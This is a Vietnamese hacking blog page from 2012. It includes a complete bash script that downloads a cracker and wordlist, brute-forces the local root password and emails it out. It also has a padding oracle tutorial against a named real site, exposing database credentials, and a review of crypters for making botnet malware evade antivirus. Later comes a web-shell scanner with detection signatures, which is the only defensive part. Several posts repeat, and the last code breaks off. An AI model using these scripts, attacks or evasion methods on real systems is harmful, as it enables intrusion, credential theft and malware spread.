Wednesday, August 29, 2012

Get root password [Brute Force]

Rootdabitch version 0.1 - Multithreaded Linux root password Bruteforcer

r00tw0rm hacker "th3breacher!" release Rootdabitch v0.1 ,which is a Multithreaded Linux/UNIX tool to brute-force cracking local root through su using sucrack.

sucrack is a multithreaded Linux/UNIX tool for brute-force cracking local user accounts via su. The main feature of the Rootdabitch is that It's local brute forcer, using 10 passwords in 3 seconds. and works in background so you can leave it , when root is cracked it will email the user using /bin/mail .

All for this, you need to have a php shell/reverse shell/ssh access to the target to run thistool and run it as a normal user, Upload this script into it and give it the execution permission and execute the script like:

~ ./rootdabitch youremail@address.com  

If the password is cracked you will have a mail with the root password and the password will be stored into password.txt . Try it !

Download : http://rootdabitch.googlecode.com/fi...abitch-0.1.zip

Anh em thảo luận

Nguồn: http://thehackernews.com/2012/04/roo...ithreaded.html

======
Dịch:
Nôm na là Script này crack password của root bằng cách Bruteforcer với 3 giây dc 10 passwords.

Để sử dụng cần có 1 shell trên server cho phép chạy command.

Upload file này lên site hoặc download nó về bằng lệnh



PHP Code:
wget  http://rootdabitch.googlecode.com/files/rootdabitch-0.1.zip 
Sau đó giải nén bằng lệnh


PHP Code:
unzip rootdabitch-0.1.zip 
Trao quyền thực thi cho file rootdabitch.sh bằng 1 trong 2 lệnh


PHP Code:
chmod +x rootdabitch.sh 
PHP Code:
chmod 755 rootdabitch.sh 
Sau đó thực hiện chạy script này với cú pháp


PHP Code:
./rootdabitch.sh tên_email 
Nếu crack thành công nó sẽ send password của root về email cho mình.

Code luôn, chỉ việc chmod and run:
 

#!/bin/bash

# R00TW0RMs (https://www.r00tw0rm.com/)
#-------------------------------------|------------------------------------------#
# ( )_ ( ) ( ) _ ( )_ ( )
# _ __ _ _ | ,_) _| | _ _ | |_ (_)| ,_) ___ | |__
#( '__)/'_`\ /'_`\ | | /'_` | /'_` )| '_`\ | || | /'___)| _ `\
#| | ( (_) )( (_) )| |_ ( (_| |( (_| || |_) )| || |_ ( (___ | | | |
#(_) `\___/'`\___/'`\__)`\__,_)`\__,_)(_,__/'(_)`\__)`\____)(_) (_)
# This was written for educational purpose and pentest only.
# Use it at your own risk. Author will be not responsible for any damage!
# Coder : th3breacher |th3breacher.wordpress.com|
# Version : 0.1
# Greetz : Inj3ct0r Team (1337day.com)
#-------------------------------------|------------------------------------------#
#Sucrack and wordlist links could be changed to a suitable one !
sucracklink="http://dl.dropbox.com/u/65302835/sucrack"
wordlistlink="http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2"
wordlistcompressedname="rockyou.txt.bz2"
wordlistname="rockyou.txt"
threads=10
#-------------------------------------|------------------------------------------#
email=$1

mynohup(){
# Close stdin, and make any read attempt an error
if [ -t 0 ]
then
exec 0>/dev/null
fi

# Redirect stdout to a file if it's a TTY
if [ -t 1 ]
then
exec 1>nohup.out
if [ $? -ne 0 ]
then
exec 1>$HOME/nohup.out
fi
fi

# Redirect stderr to stdout if it's a TTY
if [ -t 2 ]
then
exec 2>&1
fi

# Trap the HUP signal to ignore it
trap : HUP
}

downloadthatdic ()
{
echo -ne "[+] Downloading the wordlist from $wordlistlink\n"
wget $wordlistlink
bunzip2 $wordlistcompressedname
}
downloadsucrack ()
{
echo -ne "[+] Downloading sucrack from $sucracklink\n"
wget $sucracklink
chmod +x sucrack
}
action_send_mail_done()
{
SUBJECT="rootdabitch cracked password"
# Email To ?
EMAIL=$1
# Email text/message
EMAILMESSAGE="password.txt"
# send an email using /bin/mail
mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE

}
action_send_mail_undone()
{
SUBJECT="rootdabitch :("
# Email To ?
EMAIL=$1
# Email text/message
EMAILMESSAGE="password2.txt"
echo "failed..."> $EMAILMESSAGE
# send an email using /bin/mail
mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE

}

crackthatmofo ()
{
echo -ne "[+] Cracking with 10 threads..."
#You can change the threads number as you wish , just make sure it doesnt crash the server :)
./sucrack -w $threads $wordlistname | grep "password is:" >password.txt
if [-f "password.txt"]; then
action_send_mail_done $email
else
action_send_mail_undone $email
fi
}
cleanup ()
{
echo -ne "[+] Cleaning up..."
rm -f $wordlistcompressedname
rm -f $wordlistname
rm -f sucrack
}

#Main starts here
echo -ne "[+] Wait ! .. have patience=)\n"
mynohup
downloadsucrack
downloadthatdic
crackthatmofo
cleanup

[XSS] - CanhSat.vn

Tình trạng: Đã thông báo tới Quản trị viên (chưa fix)!

http://i942.photobucket.com/albums/ad269/juno_okyo/VNHack/1-1-201210-23-59AM.png 

Tuesday, August 21, 2012

[XSS] - VietNamNet.VN

Tình trạng: Đã gửi mail để báo lỗi cho Quản trị viên!
http://i.imm.io/BoQF.png

[TUT] Padding Oracle Attack

Victim: http://bigc.vn/

Kiểm tra lỗi Padding Orale


View source:

Chú ý đoạn code sau:

/WebResource.axd?d=OpduU2rj_NJHaBhjNiUZ7g2&amp;t=63 4538991637902500"

Bước 1: Chuẩn bị Tools

Trước tiên cần cài đặt perl:

http://www.activestate.com/activeperl/downloads

Coppy 2 file padBuster.pl và Web.config_bruter.pl sau vào ổ C:

padBuster.pl:

http://www.mediafire.com/?a0auo2tca0ffdfe

Web.config_bruter.pl:

http://www.mediafire.com/?3twc9xwizdcdw8p

pass unlock: soleil_vhb

pass giải nén: ceh.vn

Bước 2: Thực hiện lệnh trên CMD

vào Run command

Cd\

Chạy lệnh:


padBuster.pl http://bigc.vn/WebResource.axd?d=Opd...NJHaBhjNiUZ7g2 OpduU2rj_NJHaBhjNiUZ7g2 8 -encoding 3 -plaintext "|||~/web.config"




Đến bước này đợi 1 lát, nó sẽ chạy cho đến dòng:

“The ID# marked with ** is recommended: “

Lúc này ta sẽ nhập số 2 và ấn enter



Chờ đợi tầm 30 phút chương trình sẽ giải mã ra giá trị sau:

M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0

Sau khi có giá trị kết quả giải mã, thực hiện tiếp câu lệnh:

Web.config_bruter.pl http://bigc.vn/WebResource.axd M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0 8

Đợi chương trình biên dịch xong ( Tầm 1 tiếng ) ta sẽ có kết quả như sau:



Kết quả:

u2LzoCD0ZcozT5Dq9vm iJY9gkwLdZ1xCAAAAAAAAAAA1

gPdbQmmzWIEzT5Dq9vmiJY9gkwLdZ1xCAAAAAAAAAAA1

Mỗi lần biên dịch, chương trình sẽ cho ra 1 giá trị khác nhau nhưng link đều đưa về cùng 1 kết quả

Bước 3: Lấy thông tin file config:

http://bigc.vn/ScriptResource.axd?d=...xCAAAAAAAAAAA1

hoặc:

http://bigc.vn/ScriptResource.axd?d=...xCAAAAAAAAAAA1

Ta được thông tin sau: ID=bigc;Password=RrmX6W6ODi



Bước 4: login vào Database

Sử dụng tool: MySQL management studio express

http://www.scottsystems.com/products..._ce/downloads/



Slide: http://www.mediafire.com/view/?u1qczh2b7ip45sw

[TUT] Padding Oracle Attack

Victim: http://bigc.vn/

Kiểm tra lỗi Padding Orale


View source:

Chú ý đoạn code sau:

/WebResource.axd?d=OpduU2rj_NJHaBhjNiUZ7g2&amp;t=63 4538991637902500"

Bước 1: Chuẩn bị Tools

Trước tiên cần cài đặt perl:

http://www.activestate.com/activeperl/downloads

Coppy 2 file padBuster.pl và Web.config_bruter.pl sau vào ổ C:

padBuster.pl:

http://www.mediafire.com/?a0auo2tca0ffdfe

Web.config_bruter.pl:

http://www.mediafire.com/?3twc9xwizdcdw8p

pass unlock: soleil_vhb

pass giải nén: ceh.vn

Bước 2: Thực hiện lệnh trên CMD

vào Run command

Cd\

Chạy lệnh:


padBuster.pl http://bigc.vn/WebResource.axd?d=Opd...NJHaBhjNiUZ7g2 OpduU2rj_NJHaBhjNiUZ7g2 8 -encoding 3 -plaintext "|||~/web.config"




Đến bước này đợi 1 lát, nó sẽ chạy cho đến dòng:

“The ID# marked with ** is recommended: “

Lúc này ta sẽ nhập số 2 và ấn enter



Chờ đợi tầm 30 phút chương trình sẽ giải mã ra giá trị sau:

M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0

Sau khi có giá trị kết quả giải mã, thực hiện tiếp câu lệnh:

Web.config_bruter.pl http://bigc.vn/WebResource.axd M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0 8

Đợi chương trình biên dịch xong ( Tầm 1 tiếng ) ta sẽ có kết quả như sau:



Kết quả:

u2LzoCD0ZcozT5Dq9vm iJY9gkwLdZ1xCAAAAAAAAAAA1

gPdbQmmzWIEzT5Dq9vmiJY9gkwLdZ1xCAAAAAAAAAAA1

Mỗi lần biên dịch, chương trình sẽ cho ra 1 giá trị khác nhau nhưng link đều đưa về cùng 1 kết quả

Bước 3: Lấy thông tin file config:

http://bigc.vn/ScriptResource.axd?d=...xCAAAAAAAAAAA1

hoặc:

http://bigc.vn/ScriptResource.axd?d=...xCAAAAAAAAAAA1

Ta được thông tin sau: ID=bigc;Password=RrmX6W6ODi



Bước 4: login vào Database

Sử dụng tool: MySQL management studio express

http://www.scottsystems.com/products..._ce/downloads/



Slide: http://www.mediafire.com/view/?u1qczh2b7ip45sw

Một số phần mền Mã Hóa Virus Free

1-      07-12-12 Crypter
-          Click vào file và chọn path tới file virus
-          Click vào stub và chọn path tới file stub.exe ( cùng thư mục với file 07-12-12 Crypter.exe )
-          Sau đó tùy chọn các chức năng và Encrypt
-          Trong trường hợp này Soleil sẽ lấy demo với file virus là con bot được tạo từ tool botnet Di5
-          Hình ảnh check file virus khi chưa mã hóa:

-          Với con bot này thì nó bị phát hiện 31/42 phần mền anti virus.
               
-          Hình ảnh con bot di5 sau khi được mã hóa với  07-12-12 Crypter. Nó đã bypass anti được 1 nửa và chỉ còn bị phát hiện 15/42 phần mền anti virus.
-         
 
      2-      Haxor – Aio
-          Tool này có nhiều chức năng hơn so với tool  07-12-12 Crypter như binder, extension Spoofer, Icon changer…
-          Click vào Crypter chọn path file virus, Soleil sẽ lấy ví dụ đôi với con bot Di5 như ở trên.
-          Khi mã hóa con bot của di5 đó với Haxor – Aio thì chỉ còn 9/42 phần mền antivirus phát hiện, 1 kết quả không tồi.
-          Hình ảnh demo:
     3-      Chrome Crypter v2
-          Browse thư nhất dùng để dẫn tới path file virus
-          Browse thứ 2 dùng để change icon cho virus
-          Browse thứ 3 dùng để gắn virus vào 1 chương trình ( binder)
-           Cũng với con bot tạo bởi Di5 đó, khi được mã hóa với Chrome Crypter v.2 thì còn 18/42 phần mền antivirus phát hiện
-          Hình ảnh demo:
     
      4-      Amnesia
-          Tool encrypt Amnesia này rất đầy đủ các chưc năng như thay đổi icon, đính kèm phần mền, thể hiện thông báo,  download, spoofer, pumper… Trong các tool free thì tool này soleil cũng khá kết nhất với các chức năng của nó.
-          Khả năng bypass của nó cũng khá tốt, chỉ còn 10/41 phần mền anti phát hiện đối với con bot được tạo bởi Di5.

Toàn bộ pass các link download trên (nếu có ):
pass unlock: soleil_vhb 
pass giải nén: ceh.vn
Đây là những Tool free, Vì vậy bài tut này mang tính chất giới thiệu và tham khảo, không hứa hẹn kỳ vọng nhiều về việc ứng dụng nó. Thực chất hiện giờ chỉ cần mã hóa qua đc kis, bkav, cmc,  avg, avira là xem như đã thành công. Trong bài tut tiếp theo về mã hóa Soleil sẽ demo mã hóa FUD theo phương thức hexing! Tuy phức tạp 1 chút nhưng thu được kết quả mĩ mãn hơn. ^^

Một số phần mền Mã Hóa Virus Free

1-      07-12-12 Crypter
-          Click vào file và chọn path tới file virus
-          Click vào stub và chọn path tới file stub.exe ( cùng thư mục với file 07-12-12 Crypter.exe )
-          Sau đó tùy chọn các chức năng và Encrypt
-          Trong trường hợp này Soleil sẽ lấy demo với file virus là con bot được tạo từ tool botnet Di5
-          Hình ảnh check file virus khi chưa mã hóa:

-          Với con bot này thì nó bị phát hiện 31/42 phần mền anti virus.
               
-          Hình ảnh con bot di5 sau khi được mã hóa với  07-12-12 Crypter. Nó đã bypass anti được 1 nửa và chỉ còn bị phát hiện 15/42 phần mền anti virus.
-         
 
      2-      Haxor – Aio
-          Tool này có nhiều chức năng hơn so với tool  07-12-12 Crypter như binder, extension Spoofer, Icon changer…
-          Click vào Crypter chọn path file virus, Soleil sẽ lấy ví dụ đôi với con bot Di5 như ở trên.
-          Khi mã hóa con bot của di5 đó với Haxor – Aio thì chỉ còn 9/42 phần mền antivirus phát hiện, 1 kết quả không tồi.
-          Hình ảnh demo:
     3-      Chrome Crypter v2
-          Browse thư nhất dùng để dẫn tới path file virus
-          Browse thứ 2 dùng để change icon cho virus
-          Browse thứ 3 dùng để gắn virus vào 1 chương trình ( binder)
-           Cũng với con bot tạo bởi Di5 đó, khi được mã hóa với Chrome Crypter v.2 thì còn 18/42 phần mền antivirus phát hiện
-          Hình ảnh demo:
     
      4-      Amnesia
-          Tool encrypt Amnesia này rất đầy đủ các chưc năng như thay đổi icon, đính kèm phần mền, thể hiện thông báo,  download, spoofer, pumper… Trong các tool free thì tool này soleil cũng khá kết nhất với các chức năng của nó.
-          Khả năng bypass của nó cũng khá tốt, chỉ còn 10/41 phần mền anti phát hiện đối với con bot được tạo bởi Di5.

Toàn bộ pass các link download trên (nếu có ):
pass unlock: soleil_vhb 
pass giải nén: ceh.vn
Đây là những Tool free, Vì vậy bài tut này mang tính chất giới thiệu và tham khảo, không hứa hẹn kỳ vọng nhiều về việc ứng dụng nó. Thực chất hiện giờ chỉ cần mã hóa qua đc kis, bkav, cmc,  avg, avira là xem như đã thành công. Trong bài tut tiếp theo về mã hóa Soleil sẽ demo mã hóa FUD theo phương thức hexing! Tuy phức tạp 1 chút nhưng thu được kết quả mĩ mãn hơn. ^^

Xâm nhập máy tính thông qua Yahoo Messenger hoặc IP

Hôm rồi mình có tạo 1 site để get địa chỉ IP của người dùng yahoo... Trong quá trình tạo site và test mình thấy có khá nhiều lỗ hổng ở việc thiết lập các modem hiện nay. Thông qua các lỗ hổng này các hacker có thể :
Lấy được thông tin về mật khẩu Yahoo, Gmail, ... và hàng loạt trang khác.
Thay đổi DNS (Domain Name Server) mặc định (cực kì nguy hiểm - Có thể biến google.com thành site chứa mã độc).
Ăn cắp thẻ tín dụng, tài khoản game ... (thông qua thay đổi DNS server và dựng nên các site mạo danh ngân hàng, Ebank, hệ thống thanh toán trực tuyến).
Ngắt kết nối mạng của người dùng
Moi thông tin cá nhân của người dùng đó

Trong thời gian này mình khuyên các bạn nên kiểm tra lại thiết đặt modem... bằng cách sau
Thay đổi mật khẩu mặc định của modem (tốt nhất là mật khẩu trên 9 kí tự).
Đóng các port của modem nếu không thật sự cần thiết.

Modem đặc biệt dễ bị dính loại này là TD 8870 của VNPT. Viettel và FPT cũng không ngoại lệ.
Mong anh em cẩn thận.


Monday, August 20, 2012

[TUT] Include code backconnect database

- Ưu điểm:
+ Không cần tạo ra 1 file nào trên host, admin không thể biết.
+ Không cần biết user + pass database vẫn kết nối đc.
+ Edit, delete, chmod,... đủ hết các thể loại.
+ Update phiên bản mới vẫn dính nên không lo admin update.
+ Còn nhiều thứ chờ mong các bác khám phá...
Llink download:

Password:
w0lf

Code Auto Scan Shell qua Keyword

Đây là 1 code scan shell qua keyword mình phát triển thêm từ code cũ của KID - Xgroup đã đc pub lên mạng.
Về mặt code này. Bạn chỉ cần up file lên thư mục public_html để cho tools scan.
Chức năng:
Scan shell qua keyword đã được quy định sẵn.
Disable Shell không cho phép shell chạy.
Send mail cho mail đã cài đặt để báo cáo địa chỉ file nghi ngờ shell để cho admin có thể lên ktra.
Nếu bạn nào thix auto thì có thể tích hợp chung với corn để làm thành auto scan shell.
Hiện mình đang tiếp tục phát triển ver tiếp theo, nếu bạn nào muốn có thể tham gia thảo luận chung.
Code mình ko mã hóa nên nếu có share đề nghị giữ nguyên dòng bản quyền để tôn trọng tác giả.
Lưu ý: Khi dùng thì các bạn edit mail nhận thành mail của mình để nhận thông tin.

ini_set("safe_mode","off");
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode)set_time_limit(0);



$folder = $_SERVER['DOCUMENT_ROOT'];
define('TAB'," ");
define('IGNORE_EXTENSIONS',"jpg pdf zip psd doc gif swf xls gz txt");
define("MAX_SIZE",1024*1024*1024);
define("IGNORE_BEFORE", strtotime('2009-08-01') );
$shell = $_SERVER["PHP_SELF"];
function findexts($filename)
{
$filename = strtolower($filename);
$exts = explode("[/\\.]", $filename);
$n = count($exts)-1;
$exts = $exts[$n];
return strtolower($exts);
}
function percent($num_amount, $num_total)
{
$count1 = $num_amount / $num_total;
$count2 = $count1 * 100;
$count = number_format($count2, 0);
return $count;
}
function report($messega)
{
$email = "csvietteam@gmail.com";
$subject = "Report Scan Shell";
$headers = array();
$headers[] = "MIME-Version: 1.0";
$headers[] = "Content-type: text/plain; charset=iso-8859-1";
$headers[] = "From: Report Scan Shell on ".gethostbyname($_SERVER['SERVER_NAME'])."";
$headers[] = "Reply-To: Gmail Team <$email>";
$headers[] = "Subject: {$subject}";
$headers[] = "X-Mailer: PHP/".phpversion();
mail($email, $subject,$messega, implode("\r\n", $headers));
}
function check_dir($directory,$level)
{
global $virus_detected, $all, $detect_errors_only, $detected_Keyword_in_test_script, $listfile, $listWarning,$listDetect;
$indent='';
/*Key Word Shell*/
$Keyword = array();
$Keyword[]= "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC";
$Keyword[]= "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj";
$Keyword[]= "PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdp";
$Keyword[] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIw0KIyBQZXJsS2l0LTAuMSAt";
$Keyword[] = "PD9waHAKJGNwYW5lbF9wb3J0PSIyMDgyIjsKJGNvbm5lY3RfdGltZW91dD01OwpzZXRfdGltZV9s";
$Keyword[] = "c3QgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxo";
$Keyword[] = "ZGUgPSAkQVJHVlswXTsKICAgICAgICAkYWFhYSA9ICRBUkdWWzFdOwogICAgICAgICAgaWYgKCEk";
$Keyword[] = "aGF0IHUgV2FudCB0byBTeW1saW5rIEl0PC9mb250PjwvYnI+PC9jZW50ZXI+PC9iPjwvaDQ+IAo8";
$Keyword[] = "bnQgZmFjZT0iV2luZ2RpbmdzIj48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vcHJpdjguaWJs";
$Keyword[] = "PHRpdGxlPkxpdGVTcGVlZCBXZWIgQnlwYXNzIC0gaXpvY2luIHByaXY5PC90aXRsZT4KICAgICAg";
$Keyword[] = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMg";
$Keyword[] = "ZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFj";
$Keyword[] = "JyBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQ7IGJhY2tncm91";
$Keyword[] = "PSdodHRwOi8vdXBsb2FkLnRyYWlkbnQubmV0L3VwZmlsZXMvbzhJOTk4MTAucG5nJyB3aWR0aD0n";
$Keyword[] = "ICAgIGRpZSgibm90IHdyaXRhYmxlIGRpcmVjdG9yeSIpOw0KDQokbGV2ZWw9MDsNCg0KZm9yKCRh";
$Keyword[] = "PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg";
$Keyword[] = "MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog";
$Keyword[] = "ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls";
$Keyword[] = "ZDUKaW1wb3J0IHN5cwoKIyMjIyMjIyMjIyNfRGVmYXVsdF8jIyMjIyMjIyMjIyMjIyMjIyMjIyMj";
$Keyword[] = "substr(@php_uname(),0,120)";
$Keyword[] = "@getmyuid()";
$Keyword[] = "eval(base64_decode";
for ($count=0;$count<$level;$count++)
{
$indent.=TAB;
}
$level++;
$read_dir=opendir($directory);
while ($file=readdir($read_dir))
{
$filepath=$directory."/".$file;
if ($detect_errors_only && $virus_detected)
{
exit;
}
if (is_dir($filepath))
{
if ( ($file<>'.') && ($file<>'..') )
{
check_dir($filepath,$level);
}
}
else
{
if (is_file($filepath))
{
if ( (is_readable($filepath) ) && (!stristr(IGNORE_EXTENSIONS, findexts($file))) )
{
if ((filesize($filepath)< MAX_SIZE) && (filemtime($filepath)>IGNORE_BEFORE) )
{
$listfile[] = $filepath;
$fileentry=$directory."/".$file.' - '.date('j F Y H:i',filemtime($filepath));
$filestring=file_get_contents($filepath);
$found=stripos($filestring,"eval(base64_decode(");
$found=stristr($filestring,"eval(base64_decode(");
if ($found !=false)
{
$detect_errors_only = true;
}
else
{
foreach ($Keyword as $key)
{
$found=stripos($filestring,$key);
$found=stristr($filestring,$key);
if ($found !=false) break;
}
}
flush();
if ($found!=false)
{
if ($file=='scanshell.php')
{
$detected_Keyword_in_test_script=true;
}
else
{
$virus_detected=true;
if ($detect_errors_only)
{
$listWarning[] = $fileentry.' -- Warning Shell';
}
else
{
$listDetect[] = $fileentry.' -- Detect Shell';
chmod($filepath,0000);
}
}
$found='';
}

}
}

}

}
}
closedir($read_dir);
}
$virus_detected=false;
$all=true;
$detect_errors_only=false;
$detected_Keyword_in_test_script=false;
check_dir($folder,0);
//Report Mail
$message = "Report Scan Shell On Server ".gethostbyname($_SERVER['SERVER_NAME'])." by VnDragon \n\n";
$message .= "Scan Complete at ".date('j F Y H:i')."\n\n";
$message .= "Statistics\n\n";
$message .= "Skip File : ".IGNORE_EXTENSIONS."\n\n";
$message .= "Ingore File Max : ".MAX_SIZE."/bytes.\n\n";
if (count($listfile) != 0 )
{
$message .= "Total File Scan: " .count($listfile)."\n\n";

if (count($listWarning) != 0)
{
$warning = percent(count($listWarning),count($listfile));
$message .= "Total File Warning: " .count($listWarning)." - ". $warning."% \n\n";
$message .= "List File Warning: \n\n";
foreach ($listWarning as $Warning)
{
$message .= $Warning." \n\n";
}
}
else
{
$message .= "Total File Warning: 0 - 0% \n\n";
}
if (count($listDetect) != 0)
{
$detechted = percent(count($listDetect),count($listfile));
$message .= "Total File Detected: " .count($listDetect)." - ". $detechted."% \n\n";
$message .= "List File Detected: \n";
foreach ($listDetect as $Detechted)
{
$message .= $Detechted." \n\n";
}
}
else
{
$message .= "Total File Detected: 0 - 0% \n\n";
}
}
else
{
$message .= "File Not Found\n\n";
}
$message .= "End Report \n\n";
$message .= "---------------------------------------------------\n\n";
$message .= "File Detected Has been Chmod 000. Please Online And Check It\n\n";
$message .= "Thank You For Used Tools Scan Shell VerSion 2\n\n";
$message .= "Power By VnDragon \n\n";
report($message);
?>

Code Auto Scan Shell qua Keyword

Đây là 1 code scan shell qua keyword mình phát triển thêm từ code cũ của KID - Xgroup đã đc pub lên mạng.
Về mặt code này. Bạn chỉ cần up file lên thư mục public_html để cho tools scan.
Chức năng:
Scan shell qua keyword đã được quy định sẵn.
Disable Shell không cho phép shell chạy.
Send mail cho mail đã cài đặt để báo cáo địa chỉ file nghi ngờ shell để cho admin có thể lên ktra.
Nếu bạn nào thix auto thì có thể tích hợp chung với corn để làm thành auto scan shell.
Hiện mình đang tiếp tục phát triển ver tiếp theo, nếu bạn nào muốn có thể tham gia thảo luận chung.
Code mình ko mã hóa nên nếu có share đề nghị giữ nguyên dòng bản quyền để tôn trọng tác giả.
Lưu ý: Khi dùng thì các bạn edit mail nhận thành mail của mình để nhận thông tin.

ini_set("safe_mode","off");
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode)set_time_limit(0);



$folder = $_SERVER['DOCUMENT_ROOT'];
define('TAB'," ");
define('IGNORE_EXTENSIONS',"jpg pdf zip psd doc gif swf xls gz txt");
define("MAX_SIZE",1024*1024*1024);
define("IGNORE_BEFORE", strtotime('2009-08-01') );
$shell = $_SERVER["PHP_SELF"];
function findexts($filename)
{
$filename = strtolower($filename);
$exts = explode("[/\\.]", $filename);
$n = count($exts)-1;
$exts = $exts[$n];
return strtolower($exts);
}
function percent($num_amount, $num_total)
{
$count1 = $num_amount / $num_total;
$count2 = $count1 * 100;
$count = number_format($count2, 0);
return $count;
}
function report($messega)
{
$email = "csvietteam@gmail.com";
$subject = "Report Scan Shell";
$headers = array();
$headers[] = "MIME-Version: 1.0";
$headers[] = "Content-type: text/plain; charset=iso-8859-1";
$headers[] = "From: Report Scan Shell on ".gethostbyname($_SERVER['SERVER_NAME'])."";
$headers[] = "Reply-To: Gmail Team <$email>";
$headers[] = "Subject: {$subject}";
$headers[] = "X-Mailer: PHP/".phpversion();
mail($email, $subject,$messega, implode("\r\n", $headers));
}
function check_dir($directory,$level)
{
global $virus_detected, $all, $detect_errors_only, $detected_Keyword_in_test_script, $listfile, $listWarning,$listDetect;
$indent='';
/*Key Word Shell*/
$Keyword = array();
$Keyword[]= "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC";
$Keyword[]= "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj";
$Keyword[]= "PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdp";
$Keyword[] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIw0KIyBQZXJsS2l0LTAuMSAt";
$Keyword[] = "PD9waHAKJGNwYW5lbF9wb3J0PSIyMDgyIjsKJGNvbm5lY3RfdGltZW91dD01OwpzZXRfdGltZV9s";
$Keyword[] = "c3QgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxo";
$Keyword[] = "ZGUgPSAkQVJHVlswXTsKICAgICAgICAkYWFhYSA9ICRBUkdWWzFdOwogICAgICAgICAgaWYgKCEk";
$Keyword[] = "aGF0IHUgV2FudCB0byBTeW1saW5rIEl0PC9mb250PjwvYnI+PC9jZW50ZXI+PC9iPjwvaDQ+IAo8";
$Keyword[] = "bnQgZmFjZT0iV2luZ2RpbmdzIj48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vcHJpdjguaWJs";
$Keyword[] = "PHRpdGxlPkxpdGVTcGVlZCBXZWIgQnlwYXNzIC0gaXpvY2luIHByaXY5PC90aXRsZT4KICAgICAg";
$Keyword[] = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMg";
$Keyword[] = "ZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFj";
$Keyword[] = "JyBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQ7IGJhY2tncm91";
$Keyword[] = "PSdodHRwOi8vdXBsb2FkLnRyYWlkbnQubmV0L3VwZmlsZXMvbzhJOTk4MTAucG5nJyB3aWR0aD0n";
$Keyword[] = "ICAgIGRpZSgibm90IHdyaXRhYmxlIGRpcmVjdG9yeSIpOw0KDQokbGV2ZWw9MDsNCg0KZm9yKCRh";
$Keyword[] = "PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg";
$Keyword[] = "MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog";
$Keyword[] = "ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls";
$Keyword[] = "ZDUKaW1wb3J0IHN5cwoKIyMjIyMjIyMjIyNfRGVmYXVsdF8jIyMjIyMjIyMjIyMjIyMjIyMjIyMj";
$Keyword[] = "substr(@php_uname(),0,120)";
$Keyword[] = "@getmyuid()";
$Keyword[] = "eval(base64_decode";
for ($count=0;$count<$level;$count++)
{
$indent.=TAB;
}
$level++;
$read_dir=opendir($directory);
while ($file=readdir($read_dir))
{
$filepath=$directory."/".$file;
if ($detect_errors_only && $virus_detected)
{
exit;
}
if (is_dir($filepath))
{
if ( ($file<>'.') && ($file<>'..') )
{
check_dir($filepath,$level);
}
}
else
{
if (is_file($filepath))
{
if ( (is_readable($filepath) ) && (!stristr(IGNORE_EXTENSIONS, findexts($file))) )
{
if ((filesize($filepath)< MAX_SIZE) && (filemtime($filepath)>IGNORE_BEFORE) )
{
$listfile[] = $filepath;
$fileentry=$directory."/".$file.' - '.date('j F Y H:i',filemtime($filepath));
$filestring=file_get_contents($filepath);
$found=stripos($filestring,"eval(base64_decode(");
$found=stristr($filestring,"eval(base64_decode(");
if ($found !=false)
{
$detect_errors_only = true;
}
else
{
